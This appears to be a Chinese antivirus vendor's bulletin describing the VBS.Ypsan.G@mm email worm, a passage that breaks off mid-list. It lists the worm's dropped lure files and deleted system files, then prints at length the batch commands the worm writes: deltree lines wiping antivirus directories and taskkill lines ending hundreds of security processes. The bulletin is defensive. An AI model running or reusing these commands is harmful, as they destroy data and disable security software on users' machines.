光华反病毒资讯：6月20日-6月26日

2013-05-13 17:46 · 稿源: 互联网

内容速读：

　　光华反病毒研究中心近日进行病毒特征码更新，请用户尽快到光华网站www.viruschina.com下载升级包，以下是几个重要病毒的简介：1、邮件病毒：VBS.Ypsan.G@mm危害级别：★★★★☆根据光华反病毒研究中心专家介绍，该病毒长度为127,413字节，感染Windows 2000, Windows 95, Windows 98, Windows Me, Windows NT, Windows Server 2003, Windows XP系统。

　　光华反病毒研究中心近日进行病毒特征码更新，请用户尽快到光华网站www.viruschina.com下载升级包，以下是几个重要病毒的简介：
1、邮件病毒：VBS.Ypsan.G@mm危害级别：★★★★☆
根据光华反病毒研究中心专家介绍，该病毒长度为127,413字节，感染Windows 2000, Windows 95, Windows 98, Windows Me, Windows NT, Windows Server 2003, Windows XP系统。它是一个邮件病毒，通过搜寻Windows地址簿发送邮件传播，同时通过局域网文件共享感染，这个病毒删除文件、目录、注册表项，试图关闭计算机；当收到、打开此邮件病毒时，有以下危害：
A复制自身到
· C:WINDOWSSytem32WINLOGON.vbs
· C:windowssystemporno.vbs
· C:VircSexy Girls.mpg.vbs
· C:windowssystemsystem.vbs
· C:windowssystemsystem32.dll
· C:windowssystemsys32.dll
· C:Program FilesKMDMy Shared FolderPorno-Pic.Jpg.vbs
· C:Program FilesKMDMy Shared FolderSexy girls.jpg.vbs
· C:Program FilesKMDMy Shared Foldergirls.mpg.vbs
· C:Program FilesKMDMy Shared Folderpussy.Gif.vbs
· C:Program FilesKMDMy Shared FolderAss.Mpg.vbs
· C:Program FilesKaZaA LiteMy Shared FolderPorno-Pic.Jpg.vbs
· C:Program FilesKaZaA LiteMy Shared FolderSexy girls.jpg.vbs
· C:Program FilesKaZaA LiteMy Shared Foldergirls.mpg.vbs
· C:Program FilesKaZaA LiteMy Shared Folderpussy.Gif.vbs
· C:Program FilesKaZaA LiteMy Shared FolderAss.Mpg.vbs
· C:Program FilesMorpheusMy Shared FolderPorno-Pic.Jpg.vbs
· C:Program FilesMorpheusMy Shared FolderSexy girls.jpg.vbs
· C:Program FilesMorpheusMy Shared Foldergirls.mpg.vbs
· C:Program FilesMorpheusMy Shared Folderpussy.Gif.vbs
· C:Program FilesMorpheusMy Shared FolderAss.Mpg.vbs
· C:Program FilesBearShareSharedPorno-Pic.Jpg.vbs
· C:Program FilesBearShareSharedSexy girls.jpg.vbs
· C:Program FilesBearShareSharedgirls.mpg.vbs
· C:Program FilesBearShareSharedpussy.Gif.vbs
· C:Program FilesBearShareSharedAss.Mpg.vbs
· C:Program FilesEdonkey2000IncomingPorno-Pic.Jpg.vbs
· C:Program FilesEdonkey2000IncomingSexy girls.jpg.vbs
· C:Program FilesEdonkey2000Incominggirls.mpg.vbs
· C:Program FilesEdonkey2000Incomingpussy.Gif.vbs
· C:Program FilesEdonkey2000IncomingAss.Mpg.vbs
· C:My DownloadsPorno-Pic.Jpg.vbs
· C:My DownloadsSexy girls.jpg.vbs
· C:My Downloadsgirls.mpg.vbs
· C:My Downloadspussy.Gif.vbs
· C:My DownloadsAss.Mpg.vbs
· C:My Shared FolderPorno-Pic.Jpg.vbs
· C:My Shared FolderSexy girls.jpg.vb
· C:My Shared Foldergirls.mpg.vbs
· C:My Shared Folderpussy.Gif.vbs
· C:My Shared FolderAss.Mpg.vbs
· C:Program FilesappleJuiceincomingPorno-Pic.Jpg.vbs
· C:Program FilesappleJuiceincomingSexy girls.jpg.vb
· C:Program FilesappleJuiceincominggirls.mpg.vbs
· C:Program FilesappleJuiceincomingpussy.Gif.vbs
· C:Program FilesappleJuiceincomingAss.Mpg.vbs
· C:Program FilesGnucleusDownloadsPorno-Pic.Jpg.vbs
· C:Program FilesGnucleusDownloadsSexy girls.jpg.vb
· C:Program FilesGnucleusDownloadsgirls.mpg.vbs
· C:Program FilesGnucleusDownloadspussy.Gif.vbs
· C:Program FilesGnucleusDownloadsAss.Mpg.vbs
· C:Program FilesGroksterMy GroksterPorno-Pic.Jpg.vbs
· C:Program FilesGroksterMy GroksterSexy girls.jpg.vb
· C:Program FilesGroksterMy Grokstergirls.mpg.vbs
· C:Program FilesGroksterMy Groksterpussy.Gif.vbs
· C:Program FilesGroksterMy GroksterAss.Mpg.vbs
· C:Program FilesICQshared filesPorno-Pic.Jpg.vbs
· C:Program FilesICQshared filesSexy girls.jpg.vb
· C:Program FilesICQshared filesgirls.mpg.vbs
· C:Program FilesICQshared filespussy.Gif.vbs
· C:Program FilesICQshared filesAss.Mpg.vbs
· C:Program FilesKaZaAMy Shared FolderPorno-Pic.Jpg.vbs
· C:Program FilesKaZaAMy Shared FolderSexy girls.jpg.vb
· C:Program FilesKaZaAMy Shared Foldergirls.mpg.vbs
· C:Program FilesKaZaAMy Shared Folderpussy.Gif.vbs
· C:Program FilesKaZaAMy Shared FolderAss.Mpg.vbs
· C:Program FilesLimeWireSharedPorno-Pic.Jpg.vbs
· C:Program FilesLimeWireSharedSexy girls.jpg.vb
· C:Program FilesLimeWireSharedgirls.mpg.vbs
· C:Program FilesLimeWireSharedpussy.Gif.vbs
· C:Program FilesLimeWireSharedAss.Mpg.vbs
· C:Program FilesOvernetincomingPorno-Pic.Jpg.vbs
· C:Program FilesOvernetincomingSexy girls.jpg.vb
· C:Program FilesOvernetincominggirls.mpg.vbs
· C:Program FilesOvernetincomingpussy.Gif.vbs
· C:Program FilesOvernetincomingAss.Mpg.vbs
· C:Program FilesShareazaDownloadsPorno-Pic.Jpg.vbs
· C:Program FilesShareazaDownloadsSexy girls.jpg.vb
· C:Program FilesShareazaDownloadsgirls.mpg.vbs
· C:Program FilesShareazaDownloadspussy.Gif.vbs
· C:Program FilesShareazaDownloadsAss.Mpg.vbs
· C:Program FilesSwaptorDownloadPorno-Pic.Jpg.vbs
· C:Program FilesSwaptorDownloadSexy girls.jpg.vb
· C:Program FilesSwaptorDownloadgirls.mpg.vbs
· C:Program FilesSwaptorDownloadpussy.Gif.vbs
· C:Program FilesSwaptorDownloadAss.Mpg.vbs
· C:Program FilesWinMXMy Shared FolderPorno-Pic.Jpg.vbs
· C:Program FilesWinMXMy Shared FolderSexy girls.jpg.vb
· C:Program FilesWinMXMy Shared Foldergirls.mpg.vbs
· C:Program FilesWinMXMy Shared Folderpussy.Gif.vbs
· C:Program FilesWinMXMy Shared FolderAss.Mpg.vbs
· C:Program FilesTeslaFilesPorno-Pic.Jpg.vbs
· C:Program FilesTeslaFilesSexy girls.jpg.vb
· C:Program FilesTeslaFilesgirls.mpg.vbs
· C:Program FilesTeslaFilespussy.Gif.vbs
· C:Program FilesTeslaFilesAss.Mpg.vbs
· C:Program FilesXoloXDownloadsPorno-Pic.Jpg.vbs
· C:Program FilesXoloXDownloadsSexy girls.jpg.vb
· C:Program FilesXoloXDownloadsgirls.mpg.vbs
· C:Program FilesXoloXDownloadspussy.Gif.vbs
· C:Program FilesXoloXDownloadsAss.Mpg.vbs
· C:Program FilesRapigatorSharePorno-Pic.Jpg.vbs
· C:Program FilesRapigatorShareSexy girls.jpg.vb
· C:Program FilesRapigatorSharegirls.mpg.vbs
· C:Program FilesRapigatorSharepussy.Gif.vbs
· C:Program FilesRapigatorShareAss.Mpg.vbs
B 删除以下文件，降低计算机安全功能
· C:WindowsSystem32taskmgr.exe
· C:WindowsSystem32wuauclt1.exe
· C:WindowsSystem32wuauclt.exe
· C:WindowsSystem32wupdmgr.exe
· C:WindowsRegedit.exe
· C:Program FilesLavasoftAd-Aware SE Professionaldefs.ref
· C:Program FilesLavasoftAd-Aware SE Professionalsites.txt
· C:WINDOWSsystem32dumprep.exe
· C:WINDOWSinfmachine.inf
C 删除以下目录，破坏系统恢复和备份
· C:WINDOWSrepair
· C:WINDOWSsystem32ReinstallBackups
D 覆盖C:autoexec.bat文件，试图删除各种杀毒软件和安全工具
@deltree/y c:antiba~1*.* >nul
@deltree/y c:antiba~2*.* >nul
@deltree/y c:antiba~1.1*.* >nul
@deltree/y c:antiba~1.2*.* >nul
@deltree/y c:antiba~1.3*.* >nul
@deltree/y c:antiba~1.4*.* >nul
@deltree/y c:antiba~1.5*.* >nul
@deltree/y c:antiba~1.6*.* >nul
@deltree/y c:antiba~1.7*.* >nul
@deltree/y c:antiba~1.8*.* >nul
@deltree/y c:antivi~1*.* >nul
@deltree/y c:antivi~2*.* >nul
@deltree/y c:antiviru*.* >nul
@deltree/y c:avg*.* >nul
@deltree/y c:avp*.* >nul
@deltree/y c:avp30*.* >nul
@deltree/y c:avx*.* >nul
@deltree/y c:avpers~1*.* >nul
@deltree/y c:bitdef~1*.* >nul
@deltree/y c:bitdef~2*.* >nul
@deltree/y c:comman~1*.* >nul
@deltree/y c:cleancih*.* >nul
@deltree/y c:esafen*.* >nul
@deltree/y c:findvi~1*.* >nul
@deltree/y c:f-macro*.* >nul
@deltree/y c:f-prot*.* >nul
@deltree/y c:f-prot95*.* >nul
@deltree/y c:f-secu~1*.* >nul
@deltree/y c:fwin*.* >nul
@deltree/y c:fwin32*.* >nul
@deltree/y c:inocul~1*.* >nul
@deltree/y c:inocul~2*.* >nul
@deltree/y c:kasper~1*.* >nul
@deltree/y c:kasper~2*.* >nul
@deltree/y c:mcafee*.* >nul
@deltree/y c:mcafee~1*.* >nul
@deltree/y c:msav*.* >nul
@deltree/y c:norman*.* >nul
@deltree/y c:norton~1*.* >nul
@deltree/y c:norton~2*.* >nul
@deltree/y c:pav*.* >nul
@deltree/y c:pccill~1*.* >nul
@deltree/y c:pc-cil~1*.* >nul
@deltree/y c:rav*.* >nul
@deltree/y c:softwin*.* >nul
@deltree/y c:tbav*.* >nul
@deltree/y c:tbavw95*.* >nul
@deltree/y c:toolkit*.* >nul
@deltree/y c:trendm~1*.* >nul
@deltree/y c:trex*.* >nul
@deltree/y c:virus*.* >nul
@deltree/y c:vpc*.* >nul
@deltree/y c:vs95*.* >nul
@deltree/y c:zonela~1*.* >nul
@deltree/y c:zonela~2*.* >nul
@deltree/y c:progra~1antiba~1*.* >nul
@deltree/y c:progra~1antiba~2*.* >nul
@deltree/y c:progra~1antiba~1.1*.* >nul
@deltree/y c:progra~1antiba~1.2*.* >nul
@deltree/y c:progra~1antiba~1.3*.* >nul
@deltree/y c:progra~1antiba~1.4*.* >nul
@deltree/y c:progra~1antiba~1.5*.* >nul
@deltree/y c:progra~1antiba~1.6*.* >nul
@deltree/y c:progra~1antiba~1.7*.* >nul
@deltree/y c:progra~1antiba~1.8*.* >nul
@deltree/y c:progra~1antivi~1*.* >nul
@deltree/y c:progra~1antivi~2*.* >nul
@deltree/y c:progra~1avg*.* >nul
@deltree/y c:progra~1avp*.* >nul
@deltree/y c:progra~1avx*.* >nul
@deltree/y c:progra~1avx2000*.* >nul
@deltree/y c:progra~1avpers~1*.* >nul
@deltree/y c:progra~1bitdef~1*.* >nul
@deltree/y c:progra~1bitdef~2*.* >nul
@deltree/y c:progra~1comman~1*.* >nul
@deltree/y c:progra~1common~1avpsha~1*.* >nul
@deltree/y c:progra~1common~1symant~1*.* >nul
@deltree/y c:progra~1datafe~1*.* >nul
@deltree/y c:progra~1deerfi~1.com*.* >nul
@deltree/y c:progra~1f-prot*.* >nul
@deltree/y c:progra~1f-prot95*.* >nul
@deltree/y c:progra~1findvi~1*.* >nul
@deltree/y c:progra~1f-secu~1*.* >nul
@deltree/y c:progra~1f-secure*.* >nul
@deltree/y c:progra~1fsi*.* >nul
@deltree/y c:progra~1fwin*.* >nul
@deltree/y c:progra~1fwin32*.* >nul
@deltree/y c:progra~1grisoft*.* >nul
@deltree/y c:progra~1inocul~1*.* >nul
@deltree/y c:progra~1inocul~2*.* >nul
@deltree/y c:progra~1intern~2*.* >nul
@deltree/y c:progra~1kasper~1*.* >nul
@deltree/y c:progra~1kasper~2*.* >nul
@deltree/y c:progra~1mcafee*.* >nul
@deltree/y c:progra~1mcafee~1*.* >nul
@deltree/y c:progra~1mindso~1*.* >nul
@deltree/y c:progra~1norman*.* >nul
@deltree/y c:progra~1norton~1*.* >nul
@deltree/y c:progra~1norton~2*.* >nul
@deltree/y c:progra~1pandas~1*.* >nul
@deltree/y c:progra~1protec~1*.* >nul
@deltree/y c:progra~1protec~2*.* >nul
@deltree/y c:progra~1quickh~1*.* >nul
@deltree/y c:progra~1rav*.* >nul
@deltree/y c:progra~1signal9*.* >nul
@deltree/y c:progra~1softwin*.* >nul
@deltree/y c:progra~1spysto~1*.* >nul
@deltree/y c:progra~1symant~1*.* >nul
@deltree/y c:progra~1tbav*.* >nul
@deltree/y c:progra~1tinype~1*.* >nul
@deltree/y c:progra~1trendm~1*.* >nul
@deltree/y c:progra~1trendp~1*.* >nul
@deltree/y c:progra~1trojan~1*.* >nul
@deltree/y c:progra~1trojan~2*.* >nul
@deltree/y c:progra~1virusm~1.0*.* >nul
@deltree/y c:progra~1zonela~1*.* >nul
@deltree/y c:progra~1zonela~2*.* >nul
E 覆盖C:WINDOWSSystem32Taskmgr.bat文件，来结束各种杀毒软件和安全工具
@taskkill /IM ACKWIN32.exe /F
@taskkill /IM ADAWARE.exe /F
@taskkill /IM ADVXDWIN.exe /F
@taskkill /IM AGENTSVR.exe /F
@taskkill /IM AGENTW.exe /F
@taskkill /IM ALERTSVC.exe /F
@taskkill /IM ALEVIR.exe /F
@taskkill /IM ALOGSERV.exe /F
@taskkill /IM AMON9X.exe /F
@taskkill /IM ANTI-TROJAN.exe /F
@taskkill /IM ANTIVIRUS.exe /F
@taskkill /IM ANTS.exe /F
@taskkill /IM APIMONITOR.exe /F
@taskkill /IM APLICA32.exe /F
@taskkill /IM APVXDWIN.exe /F
@taskkill /IM ARR.exe /F
@taskkill /IM ATCON.exe /F
@taskkill /IM ATGUARD.exe /F
@taskkill /IM ATRO55EN.exe /F
@taskkill /IM ATUPDATER.exe /F
@taskkill /IM ATUPDATER.exe /F
@taskkill /IM ATWATCH.exe /F
@taskkill /IM AU.exe /F
@taskkill /IM AUPDATE.exe /F
@taskkill /IM AUPDATE.exe /F
@taskkill /IM AUTODOWN.exe /F
@taskkill /IM AUTODOWN.exe /F
@taskkill /IM AUTOTRACE.exe /F
@taskkill /IM AUTOTRACE.exe /F
@taskkill /IM AUTOUPDATE.exe /F
@taskkill /IM AUTOUPDATE.exe /F
@taskkill /IM AVCONSOL.exe /F
@taskkill /IM AVE32.exe /F
@taskkill /IM AVGCC32.exe /F
@taskkill /IM AVGCTRL.exe /F
@taskkill /IM AVGNT.exe /F
@taskkill /IM AVGSERV.exe /F
@taskkill /IM AVGSERV9.exe /F
@taskkill /IM AVGUARD.exe /F
@taskkill /IM AVGW.exe /F
@taskkill /IM AVKPOP.exe /F
@taskkill /IM AVKSERV.exe /F
@taskkill /IM AVKSERVICE.exe /F
@taskkill /IM AVKWCTl9.exe /F
@taskkill /IM AVLTMAIN.exe /F
@taskkill /IM AVNT.exe /F
@taskkill /IM AVP.exe /F
@taskkill /IM AVP32.exe /F
@taskkill /IM AVPCC.exe /F
@taskkill /IM AVPDOS32.exe /F
@taskkill /IM AVPM.exe /F
@taskkill /IM AVPTC32.exe /F
@taskkill /IM AVPUPD.exe /F
@taskkill /IM AVPUPD.exe /F
@taskkill /IM AVSCHED32.exe /F
@taskkill /IM AVSYNMGR.exe /F
@taskkill /IM AVWINNT.exe /F
@taskkill /IM AVWUPD.exe /F
@taskkill /IM AVWUPD32.exe /F
@taskkill /IM AVWUPD32.exe /F
@taskkill /IM AVWUPSRV.exe /F
@taskkill /IM AVXMONITOR9X.exe /F
@taskkill /IM AVXMONITORNT.exe /F
@taskkill /IM AVXQUAR.exe /F
@taskkill /IM AVXQUAR.exe /F
@taskkill /IM BACKWEB.exe /F
@taskkill /IM BARGAINS.exe /F
@taskkill /IM BD_PROFESSIONAL.exe /F
@taskkill /IM BEAGLE.exe /F
@taskkill /IM BELT.exe /F
@taskkill /IM BIDEF.exe /F
@taskkill /IM BIDSERVER.exe /F
@taskkill /IM BIPCP.exe /F
@taskkill /IM BIPCPEVALSETUP.exe /F
@taskkill /IM BISP.exe /F
@taskkill /IM BLACKD.exe /F
@taskkill /IM BLACKICE.exe /F
@taskkill /IM BLSS.exe /F
@taskkill /IM BOOTCONF.exe /F
@taskkill /IM BOOTWARN.exe /F
@taskkill /IM BORG2.exe /F
@taskkill /IM BPC.exe /F
@taskkill /IM BRASIL.exe /F
@taskkill /IM BS120.exe /F
@taskkill /IM BUNDLE.exe /F
@taskkill /IM BVT.exe /F
@taskkill /IM CCAPP.exe /F
@taskkill /IM CCEVTMGR.exe /F
@taskkill /IM CCPXYSVC.exe /F
@taskkill /IM CDP.exe /F
@taskkill /IM CFD.exe /F
@taskkill /IM CFGWIZ.exe /F
@taskkill /IM CFIADMIN.exe /F
@taskkill /IM CFIAUDIT.exe /F
@taskkill /IM CFIAUDIT.exe /F
@taskkill /IM CFINET.exe /F
@taskkill /IM CFINET32.exe /F
@taskkill /IM CLEAN.exe /F
@taskkill /IM CLEANER.exe /F
@taskkill /IM CLEANER3.exe /F
@taskkill /IM CLEANPC.exe /F
@taskkill /IM CLICK.exe /F
@taskkill /IM CMD32.exe /F
@taskkill /IM CMESYS.exe /F
@taskkill /IM CMGRDIAN.exe /F
@taskkill /IM CMON016.exe /F
@taskkill /IM CONNECTIONMONITOR.exe /F
@taskkill /IM CPD.exe /F
@taskkill /IM CPF9X206.exe /F
@taskkill /IM CPFNT206.exe /F
@taskkill /IM CTRL.exe /F
@taskkill /IM CV.exe /F
@taskkill /IM CWNB181.exe /F
@taskkill /IM CWNTDWMO.exe /F
@taskkill /IM CLAW95CF.exe /F
@taskkill /IM DATEMANAGER.exe /F
@taskkill /IM DCOMX.exe /F
@taskkill /IM DEFALERT.exe /F
@taskkill /IM DEFSCANGUI.exe /F
@taskkill /IM DEFWATCH.exe /F
@taskkill /IM DEPUTY.exe /F
@taskkill /IM DIVX.exe /F
@taskkill /IM DLLCACHE.exe /F
@taskkill /IM DLLREG.exe /F
@taskkill /IM DOORS.exe /F
@taskkill /IM DPF.exe /F
@taskkill /IM DPFSETUP.exe /F
@taskkill /IM DPPS2.exe /F
@taskkill /IM DRWATSON.exe /F
@taskkill /IM DRWEB32.exe /F
@taskkill /IM DRWEBUPW.exe /F
@taskkill /IM DSSAGENT.exe /F
@taskkill /IM DVP95.exe /F
@taskkill /IM DVP95_0.exe /F
@taskkill /IM ECENGINE.exe /F
@taskkill /IM EFPEADM.exe /F
@taskkill /IM EMSW.exe /F
@taskkill /IM ENT.exe /F
@taskkill /IM ESAFE.exe /F
@taskkill /IM ESCANHNT.exe /F
@taskkill /IM ESCANV95.exe /F
@taskkill /IM ESPWATCH.exe /F
@taskkill /IM ETHEREAL.exe /F
@taskkill /IM ETRUSTCIPE.exe /F
@taskkill /IM EVPN.exe /F
@taskkill /IM EXANTIVIRUS-CNET.exe /F
@taskkill /IM EXE.AVXW.exe /F
@taskkill /IM EXPERT.exe /F
@taskkill /IM EXPLORE.exe /F
@taskkill /IM F-PROT.exe /F
@taskkill /IM F-PROT95.exe /F
@taskkill /IM F-STOPW.exe /F
@taskkill /IM FAMEH32.exe /F
@taskkill /IM FAST.exe /F
@taskkill /IM FCH32.exe /F
@taskkill /IM FIH32.exe /F
@taskkill /IM FINDVIRU.exe /F
@taskkill /IM FIREWALL.exe /F
@taskkill /IM FNRB32.exe /F
@taskkill /IM FP-WIN.exe /F
@taskkill /IM FP-WIN_TRIAL.exe /F
@taskkill /IM FPROT.exe /F
@taskkill /IM FRW.exe /F
@taskkill /IM FSAA.exe /F
@taskkill /IM FSAV.exe /F
@taskkill /IM FSAV32.exe /F
@taskkill /IM FSAV530STBYB.exe /F
@taskkill /IM FSAV530WTBYB.exe /F
@taskkill /IM FSAV95.exe /F
@taskkill /IM FSGK32.exe /F
@taskkill /IM FSM32.exe /F
@taskkill /IM FSMA32.exe /F
@taskkill /IM FSMB32.exe /F
@taskkill /IM GATOR.exe /F
@taskkill /IM GBMENU.exe /F
@taskkill /IM GBPOLL.exe /F
@taskkill /IM GENERICS.exe /F
@taskkill /IM GMT.exe /F
@taskkill /IM GUARD.exe /F
@taskkill /IM GUARDDOG.exe /F
@taskkill /IM HACKTRACERSETUP.exe /F
@taskkill /IM HBINST.exe /F
@taskkill /IM HBSRV.exe /F
@taskkill /IM HOTACTIO.exe /F
@taskkill /IM HOTPATCH.exe /F
@taskkill /IM HTLOG.exe /F
@taskkill /IM HTPATCH.exe /F
@taskkill /IM HWPE.exe /F
@taskkill /IM HXDL.exe /F
@taskkill /IM HXIUL.exe /F
@taskkill /IM IAMAPP.exe /F
@taskkill /IM IAMSERV.exe /F
@taskkill /IM IAMSTATS.exe /F
@taskkill /IM IBMASN.exe /F
@taskkill /IM IBMAVSP.exe /F
@taskkill /IM ICLOADNT.exe /F
@taskkill /IM ICMON.exe /F
@taskkill /IM ICSUPP95.exe /F
@taskkill /IM ICSUPPNT.exe /F
@taskkill /IM IDLE.exe /F
@taskkill /IM IEDLL.exe /F
@taskkill /IM IEDRIVER.exe /F
@taskkill /IM IEXPLORER.exe /F
@taskkill /IM IFACE.exe /F
@taskkill /IM IFW2000.exe /F
@taskkill /IM INETLNFO.exe /F
@taskkill /IM INFUS.exe /F
@taskkill /IM INFWIN.exe /F
@taskkill /IM INIT.exe /F
@taskkill /IM INTDEL.exe /F
@taskkill /IM INTREN.exe /F
@taskkill /IM IOMON98.exe /F
@taskkill /IM ISTSVC.exe /F
@taskkill /IM JAMMER.exe /F
@taskkill /IM JDBGMRG.exe /F
@taskkill /IM JEDI.exe /F
@taskkill /IM KAVLITE40ENG.exe /F
@taskkill /IM KAVPERS40ENG.exe /F
@taskkill /IM KAVPF.exe /F
@taskkill /IM KAZZA.exe /F
@taskkill /IM KEENVALUE.exe /F
@taskkill /IM KERIO-PF-213-EN-WIN.exe /F
@taskkill /IM KERIO-WRL-421-EN-WIN.exe /F
@taskkill /IM KERIO-WRP-421-EN-WIN.exe /F
@taskkill /IM KERNEL32.exe /F
@taskkill /IM KILLPROCESSSETUP161.exe /F
@taskkill /IM LAUNCHER.exe /F
@taskkill /IM LDNETMON.exe /F
@taskkill /IM LDPRO.exe /F
@taskkill /IM LDPROMENU.exe /F
@taskkill /IM LDSCAN.exe /F
@taskkill /IM LNETINFO.exe /F
@taskkill /IM LOADER.exe /F
@taskkill /IM LOCALNET.exe /F
@taskkill /IM LOCKDOWN.exe /F
@taskkill /IM LOCKDOWN2000.exe /F
@taskkill /IM LOOKOUT.exe /F
@taskkill /IM LORDPE.exe /F
@taskkill /IM LSETUP.exe /F
@taskkill /IM LUALL.exe /F
@taskkill /IM LUALL.exe /F
@taskkill /IM LUAU.exe /F
@taskkill /IM LUCOMSERVER.exe /F
@taskkill /IM LUINIT.exe /F
@taskkill /IM LUSPT.exe /F
@taskkill /IM MAPISVC32.exe /F
@taskkill /IM MCAGENT.exe /F
@taskkill /IM MCMNHDLR.exe /F
@taskkill /IM MCSHIELD.exe /F
@taskkill /IM MCTOOL.exe /F
@taskkill /IM MCUPDATE.exe /F
@taskkill /IM MCUPDATE.exe /F
@taskkill /IM MCVSRTE.exe /F
@taskkill /IM MCVSSHLD.exe /F
@taskkill /IM MD.exe /F
@taskkill /IM MFIN32.exe /F
@taskkill /IM MFW2EN.exe /F
@taskkill /IM MFWENG3.02D30.exe /F
@taskkill /IM MGAVRTCL.exe /F
@taskkill /IM MGAVRTE.exe /F
@taskkill /IM MGHTML.exe /F
@taskkill /IM MGUI.exe /F
@taskkill /IM MINILOG.exe /F
@taskkill /IM MMOD.exe /F
@taskkill /IM MONITOR.exe /F
@taskkill /IM MOOLIVE.exe /F
@taskkill /IM MOSTAT.exe /F
@taskkill /IM MPFAGENT.exe /F
@taskkill /IM MPFSERVICE.exe /F
@taskkill /IM MPFTRAY.exe /F
@taskkill /IM MRFLUX.exe /F
@taskkill /IM MSAPP.exe /F
@taskkill /IM MSBB.exe /F
@taskkill /IM MSBLAST.exe /F
@taskkill /IM MSCACHE.exe /F
@taskkill /IM MSCCN32.exe /F
@taskkill /IM MSCMAN.exe /F
@taskkill /IM MSCONFIG.exe /F
@taskkill /IM MSDM.exe /F
@taskkill /IM MSDOS.exe /F
@taskkill /IM MSIEXEC16.exe /F
@taskkill /IM MSINFO32.exe /F
@taskkill /IM MSLAUGH.exe /F
@taskkill /IM MSMGT.exe /F
@taskkill /IM MSMSGRI32.exe /F
@taskkill /IM MSSMMC32.exe /F
@taskkill /IM MSSYS.exe /F
@taskkill /IM MSVXD.exe /F
@taskkill /IM MU0311AD.exe /F
@taskkill /IM MWATCH.exe /F
@taskkill /IM N32SCANW.exe /F
@taskkill /IM NAV.exe /F
@taskkill /IM AUTO-PROTECT.NAV80TRY.exe /F
@taskkill /IM NAVAP.NAVAPSVC.exe /F
@taskkill /IM NAVAPSVC.exe /F
@taskkill /IM NAVAPW32.exe /F
@taskkill /IM NAVDX.exe /F
@taskkill /IM NAVLU32.exe /F
@taskkill /IM NAVNT.exe /F
@taskkill /IM NAVSTUB.exe /F
@taskkill /IM NAVW32.exe /F
@taskkill /IM NAVWNT.exe /F
@taskkill /IM NC2000.exe /F
@taskkill /IM NCINST4.exe /F
@taskkill /IM NDD32.exe /F
@taskkill /IM NEOMONITOR.exe /F
@taskkill /IM NEOWATCHLOG.exe /F
@taskkill /IM NETARMOR.exe /F
@taskkill /IM NETD32.exe /F
@taskkill /IM NETINFO.exe /F
@taskkill /IM NETMON.exe /F
@taskkill /IM NETSCANPRO.exe /F
@taskkill /IM NETSPYHUNTER-1.2.exe /F
@taskkill /IM NETSTAT.exe /F
@taskkill /IM NETUTILS.exe /F
@taskkill /IM NISSERV.exe /F
@taskkill /IM NISUM.exe /F
@taskkill /IM NMAIN.exe /F
@taskkill /IM NOD32.exe /F
@taskkill /IM NORMIST.exe /F
@taskkill /IM NORTON_INTERNET_SECU_3.0_407.exe /F
@taskkill /IM NOTSTART.exe /F
@taskkill /IM NPF40_TW_98_NT_ME_2K.exe /F
@taskkill /IM NPFMESSENGER.exe /F
@taskkill /IM NPROTECT.exe /F
@taskkill /IM NPSCHECK.exe /F
@taskkill /IM NPSSVC.exe /F
@taskkill /IM NSCHED32.exe /F
@taskkill /IM NSSYS32.exe /F
@taskkill /IM NSTASK32.exe /F
@taskkill /IM NSUPDATE.exe /F
@taskkill /IM NT.exe /F
@taskkill /IM NTRTSCAN.exe /F
@taskkill /IM NTVDM.exe /F
@taskkill /IM NTXconfig.exe /F
@taskkill /IM NUI.exe /F
@taskkill /IM NUPGRADE.exe /F
@taskkill /IM NUPGRADE.exe /F
@taskkill /IM NVARCH16.exe /F
@taskkill /IM NVC95.exe /F
@taskkill /IM NVSVC32.exe /F
@taskkill /IM NWINST4.exe /F
@taskkill /IM NWSERVICE.exe /F
@taskkill /IM NWTOOL16.exe /F
@taskkill /IM OLLYDBG.exe /F
@taskkill /IM ONSRVR.exe /F
@taskkill /IM OPTIMIZE.exe /F
@taskkill /IM OSTRONET.exe /F
@taskkill /IM OTFIX.exe /F
@taskkill /IM OUTPOST.exe /F
@taskkill /IM OUTPOST.exe /F
@taskkill /IM OUTPOSTINSTALL.exe /F
@taskkill /IM OUTPOSTPROINSTALL.exe /F
@taskkill /IM PADMIN.exe /F
@taskkill /IM PANIXK.exe /F
@taskkill /IM PATCH.exe /F
@taskkill /IM PAVCL.exe /F
@taskkill /IM PAVPROXY.exe /F
@taskkill /IM PAVSCHED.exe /F
@taskkill /IM PAVW.exe /F
@taskkill /IM PCFWALLICON.exe /F
@taskkill /IM PCIP10117_0.exe /F
@taskkill /IM PCSCAN.exe /F
@taskkill /IM PDSETUP.exe /F
@taskkill /IM PERISCOPE.exe /F
@taskkill /IM PERSFW.exe /F
@taskkill /IM PERSWF.exe /F
@taskkill /IM PF2.exe /F
@taskkill /IM PFWADMIN.exe /F
@taskkill /IM PGMONITR.exe /F
@taskkill /IM PINGSCAN.exe /F
@taskkill /IM PLATIN.exe /F
@taskkill /IM POP3TRAP.exe /F
@taskkill /IM POPROXY.exe /F
@taskkill /IM POPSCAN.exe /F
@taskkill /IM PORTDETECTIVE.exe /F
@taskkill /IM PORTMONITOR.exe /F
@taskkill /IM POWERSCAN.exe /F
@taskkill /IM PPINUPDT.exe /F
@taskkill /IM PPTBC.exe /F
@taskkill /IM PPVSTOP.exe /F
@taskkill /IM PRIZESURFER.exe /F
@taskkill /IM PRMT.exe /F
@taskkill /IM PRMVR.exe /F
@taskkill /IM PROCDUMP.exe /F
@taskkill /IM PROCESSMONITOR.exe /F
@taskkill /IM PROCEXPLORERV1.0.exe /F
@taskkill /IM PROGRAMAUDITOR.exe /F
@taskkill /IM PROPORT.exe /F
@taskkill /IM PROTECTX.exe /F
@taskkill /IM PSPF.exe /F
@taskkill /IM PURGE.exe /F
@taskkill /IM QCONSOLE.exe /F
@taskkill /IM QSERVER.exe /F
@taskkill /IM RAPAPP.exe /F
@taskkill /IM RAV7.exe /F
@taskkill /IM RAV7WIN.exe /F
@taskkill /IM RAV8WIN32ENG.exe /F
@taskkill /IM RAY.exe /F
@taskkill /IM RB32.exe /F
@taskkill /IM RCSYNC.exe /F
@taskkill /IM REALMON.exe /F
@taskkill /IM REGED.exe /F
@taskkill /IM REGEDIT.exe /F
@taskkill /IM REGEDT32.exe /F
@taskkill /IM RESCUE.exe /F
@taskkill /IM RESCUE32.exe /F
@taskkill /IM RRGUARD.exe /F
@taskkill /IM RSHELL.exe /F
@taskkill /IM RTVSCAN.exe /F
@taskkill /IM RTVSCN95.exe /F
@taskkill /IM RULAUNCH.exe /F
@taskkill /IM RUN32DLL.exe /F
@taskkill /IM RUNDLL.exe /F
@taskkill /IM RUNDLL16.exe /F
@taskkill /IM RUXDLL32.exe /F
@taskkill /IM SAFEWEB.exe /F
@taskkill /IM SAHAGENT.exe /F
